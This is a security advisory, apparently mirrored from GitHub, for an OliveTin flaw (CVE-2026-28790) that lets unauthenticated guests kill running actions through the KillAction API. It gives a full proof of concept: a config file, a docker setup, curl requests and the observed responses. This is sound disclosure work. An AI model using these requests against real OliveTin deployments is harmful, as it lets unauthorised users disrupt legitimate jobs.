GHSA-4FQM-6FMH-82MQ

Vulnerability from github – Published: 2026-03-02 21:42 – Updated: 2026-03-05 22:49
VLAI?
Summary
OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login
Details

Summary

OliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.

Details

The issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.

KillAction() authenticates the caller and applies only the per-action kill ACL check:

  • service/internal/api/api.go:62

However, it does not enforce the guest login requirement. The guest/login gate exists separately in:

  • service/internal/api/api.go:474

That gate is used by dashboard-style methods, but not by KillAction.

In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:

  • service/internal/config/sanitize.go:160

Specifically:

  • DefaultPermissions.View = false
  • DefaultPermissions.Exec = false
  • DefaultPermissions.Logs = false
  • DefaultPermissions.Kill remains unchanged

As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():

  • service/internal/acl/acl.go:133

I validated this behavior on a clean 3000.10.2 setup:

  • guests were denied access to GetDashboard
  • an authenticated admin user started a long-running action
  • an unauthenticated guest successfully called KillAction
  • the action was terminated

This confirms a real authorization bypass affecting action termination.

PoC

Tested version:

  3000.10.2
  1. Create a minimal config:
  mkdir -p /tmp/olivetin-kill-bypass
  cat > /tmp/olivetin-kill-bypass/config.yaml <<'YAML'
  listenAddressSingleHTTPFrontend: 0.0.0.0:1337
  logLevel: "DEBUG"
  checkForUpdates: false

  authRequireGuestsToLogin: true
  authLocalUsers:
    enabled: true
    users:
      - username: "admin"
        usergroup: "admin"
        password: "$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4"

  accessControlLists:
    - name: adminall
      addToEveryAction: true
      matchUsernames: ["admin"]
      permissions:
        view: true
        exec: true
        logs: true
        kill: true

  actions:
    - title: long-running
      id: long-running
      shell: sleep 20
      timeout: 30
  YAML
  1. Start OliveTin 3000.10.2:
  docker rm -f olivetin-kill-bypass 2>/dev/null || true
  docker run -d --name olivetin-kill-bypass \
    -p 1347:1337 \
    -v /tmp/olivetin-kill-bypass:/config:ro \
    ghcr.io/olivetin/olivetin:3000.10.2
  1. Confirm the server is ready:
  curl -i http://127.0.0.1:1347/readyz
  1. Prove guests are blocked from dashboard access:
  curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \
    -H 'Content-Type: application/json' \
    --data '{"title":"default"}'

  Observed response:

  HTTP/1.1 403 Forbidden
  {"code":"permission_denied","message":"guests are not allowed to access the dashboard"}
  1. Log in as admin:
  curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \
    -H 'Content-Type: application/json' \
    --data '{"username":"admin","password":"SecretPass123!"}'
  1. Start a long-running action as admin:
  curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \
    -H 'Content-Type: application/json' \
    --data '{"bindingId":"long-running","arguments":[],"uniqueTrackingId":"kill-hunt-1"}'

  Observed response:

  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1"}
  1. Kill it as an unauthenticated guest:
  curl -i -X POST http://127.0.0.1:1347/api/KillAction \
    -H 'Content-Type: application/json' \
    --data '{"executionTrackingId":"kill-hunt-1"}'

Observed response:

  HTTP/1.1 200 OK
  {"executionTrackingId":"kill-hunt-1","killed":true,"alreadyCompleted":false,"found":true}
  1. Confirm in container logs:
  docker logs olivetin-kill-bypass 2>&1 | tail -n 120

Observed relevant lines:

  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/GetDashboard" ... username="guest"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/StartAction" ... username="admin"
  Action started actionTitle="long-running"
  Authenticated API request ... path="/olivetin.api.v1.OliveTinApiService/KillAction" ... username="guest"
  Killing execution request by tracking ID: kill-hunt-1
  Action finished actionTitle="long-running" exit="-1"

This proves:

  • guests are denied dashboard access
  • guests can still invoke KillAction
  • the running action is successfully terminated by an unauthenticated user

Impact

This is an unauthenticated broken access control vulnerability resulting in denial of service.

An unauthenticated guest can:

  • terminate active jobs started by legitimate users
  • disrupt long-running administrative or operational workflows
  • interfere with privileged actions without being allowed to log in

Who is impacted:

  • OliveTin deployments with authRequireGuestsToLogin: true
  • multi-user environments where actions may run for meaningful durations
  • operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks

This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted through adjacent leaks or shared operator knowledge.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/OliveTin/OliveTin"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260302002902-d9804182eae4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-28790"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-02T21:42:12Z",
    "nvd_published_at": "2026-03-05T20:16:16Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nOliveTin allows an unauthenticated guest to terminate running actions through KillAction even when authRequireGuestsToLogin: true is enabled. In the tested release (3000.10.2), guests are correctly blocked from dashboard access, but an still call the KillAction RPC directly and successfully stop a running action. This is a broken access control issue that causes unauthorized denial of service against legitimate action executions.\n\n\n\n\n### Details\nThe issue is caused by inconsistent authorization enforcement between dashboard access and action-control RPCs.\n\n  KillAction() authenticates the caller and applies only the per-action kill ACL check:\n\n  - service/internal/api/api.go:62\n\n  However, it does not enforce the guest login requirement. The guest/login gate exists separately in:\n\n  - service/internal/api/api.go:474\n\n  That gate is used by dashboard-style methods, but not by KillAction.\n\n  In addition, when authRequireGuestsToLogin is enabled, config sanitization disables guest view, exec, and logs permissions, but leaves kill unchanged:\n\n  - service/internal/config/sanitize.go:160\n\n  Specifically:\n\n  - DefaultPermissions.View = false\n  - DefaultPermissions.Exec = false\n  - DefaultPermissions.Logs = false\n  - DefaultPermissions.Kill remains unchanged\n\n  As a result, in the default configuration path where Kill remains allowed, an unauthenticated guest user can still satisfy IsAllowedKill():\n\n  - service/internal/acl/acl.go:133\n\n  I validated this behavior on a clean 3000.10.2 setup:\n\n  - guests were denied access to GetDashboard\n  - an authenticated admin user started a long-running action\n  - an unauthenticated guest successfully called KillAction\n  - the action was terminated\n\n  This confirms a real authorization bypass affecting action termination.\n\n\n### PoC\n Tested version:\n```\n  3000.10.2\n```\n  1. Create a minimal config:\n```bash\n  mkdir -p /tmp/olivetin-kill-bypass\n  cat \u003e /tmp/olivetin-kill-bypass/config.yaml \u003c\u003c\u0027YAML\u0027\n  listenAddressSingleHTTPFrontend: 0.0.0.0:1337\n  logLevel: \"DEBUG\"\n  checkForUpdates: false\n\n  authRequireGuestsToLogin: true\n  authLocalUsers:\n    enabled: true\n    users:\n      - username: \"admin\"\n        usergroup: \"admin\"\n        password: \"$argon2id$v=19$m=65536,t=4,p=2$JLk85PhCL7RPboAlsYO4Lw$bQj6uhKnBpisbGRhe271cEt59S9EqYrHKeCfykypbZ4\"\n\n  accessControlLists:\n    - name: adminall\n      addToEveryAction: true\n      matchUsernames: [\"admin\"]\n      permissions:\n        view: true\n        exec: true\n        logs: true\n        kill: true\n\n  actions:\n    - title: long-running\n      id: long-running\n      shell: sleep 20\n      timeout: 30\n  YAML\n```\n  2. Start OliveTin 3000.10.2:\n```bash\n  docker rm -f olivetin-kill-bypass 2\u003e/dev/null || true\n  docker run -d --name olivetin-kill-bypass \\\n    -p 1347:1337 \\\n    -v /tmp/olivetin-kill-bypass:/config:ro \\\n    ghcr.io/olivetin/olivetin:3000.10.2\n```\n  3. Confirm the server is ready:\n```bash\n  curl -i http://127.0.0.1:1347/readyz\n```\n  4. Prove guests are blocked from dashboard access:\n```bash\n  curl -i -X POST http://127.0.0.1:1347/api/GetDashboard \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"title\":\"default\"}\u0027\n\n  Observed response:\n\n  HTTP/1.1 403 Forbidden\n  {\"code\":\"permission_denied\",\"message\":\"guests are not allowed to access the dashboard\"}\n```\n  5. Log in as admin:\n```bash\n  curl -c /tmp/ot_admin_cookie.txt -i -X POST http://127.0.0.1:1347/api/LocalUserLogin \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"username\":\"admin\",\"password\":\"SecretPass123!\"}\u0027\n```\n  6. Start a long-running action as admin:\n```bash\n  curl -i -b /tmp/ot_admin_cookie.txt -X POST http://127.0.0.1:1347/api/StartAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"bindingId\":\"long-running\",\"arguments\":[],\"uniqueTrackingId\":\"kill-hunt-1\"}\u0027\n\n  Observed response:\n\n  HTTP/1.1 200 OK\n  {\"executionTrackingId\":\"kill-hunt-1\"}\n```\n  7. Kill it as an unauthenticated guest:\n```bash\n  curl -i -X POST http://127.0.0.1:1347/api/KillAction \\\n    -H \u0027Content-Type: application/json\u0027 \\\n    --data \u0027{\"executionTrackingId\":\"kill-hunt-1\"}\u0027\n```\n  Observed response:\n```bash\n  HTTP/1.1 200 OK\n  {\"executionTrackingId\":\"kill-hunt-1\",\"killed\":true,\"alreadyCompleted\":false,\"found\":true}\n```\n  8. Confirm in container logs:\n```bash\n  docker logs olivetin-kill-bypass 2\u003e\u00261 | tail -n 120\n```\n  Observed relevant lines:\n```bash\n  Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/GetDashboard\" ... username=\"guest\"\n  Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/StartAction\" ... username=\"admin\"\n  Action started actionTitle=\"long-running\"\n  Authenticated API request ... path=\"/olivetin.api.v1.OliveTinApiService/KillAction\" ... username=\"guest\"\n  Killing execution request by tracking ID: kill-hunt-1\n  Action finished actionTitle=\"long-running\" exit=\"-1\"\n```\n  This proves:\n\n  - guests are denied dashboard access\n  - guests can still invoke KillAction\n  - the running action is successfully terminated by an unauthenticated user\n\n\n### Impact\nThis is an unauthenticated broken access control vulnerability resulting in denial of service.\n\n  An unauthenticated guest can:\n\n  - terminate active jobs started by legitimate users\n  - disrupt long-running administrative or operational workflows\n  - interfere with privileged actions without being allowed to log in\n\n  Who is impacted:\n\n  - OliveTin deployments with authRequireGuestsToLogin: true\n  - multi-user environments where actions may run for meaningful durations\n  - operational environments where stopping a running action can interrupt maintenance, deployment, backup, or service-control tasks\n\n  This issue does not require valid credentials, only knowledge of a live executionTrackingId. That still makes it a real and exploitable availability issue in environments where execution identifiers can be observed or predicted\n  through adjacent leaks or shared operator knowledge.",
  "id": "GHSA-4fqm-6fmh-82mq",
  "modified": "2026-03-05T22:49:37Z",
  "published": "2026-03-02T21:42:12Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/security/advisories/GHSA-4fqm-6fmh-82mq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28790"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/commit/d9804182eae43cf49f735e6533ddbe1541c2b9a9"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/OliveTin/OliveTin"
    },
    {
      "type": "WEB",
      "url": "https://github.com/OliveTin/OliveTin/releases/tag/3000.11.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "OliveTin has Unauthenticated Action Termination via KillAction When Guests Must Login"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.


Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…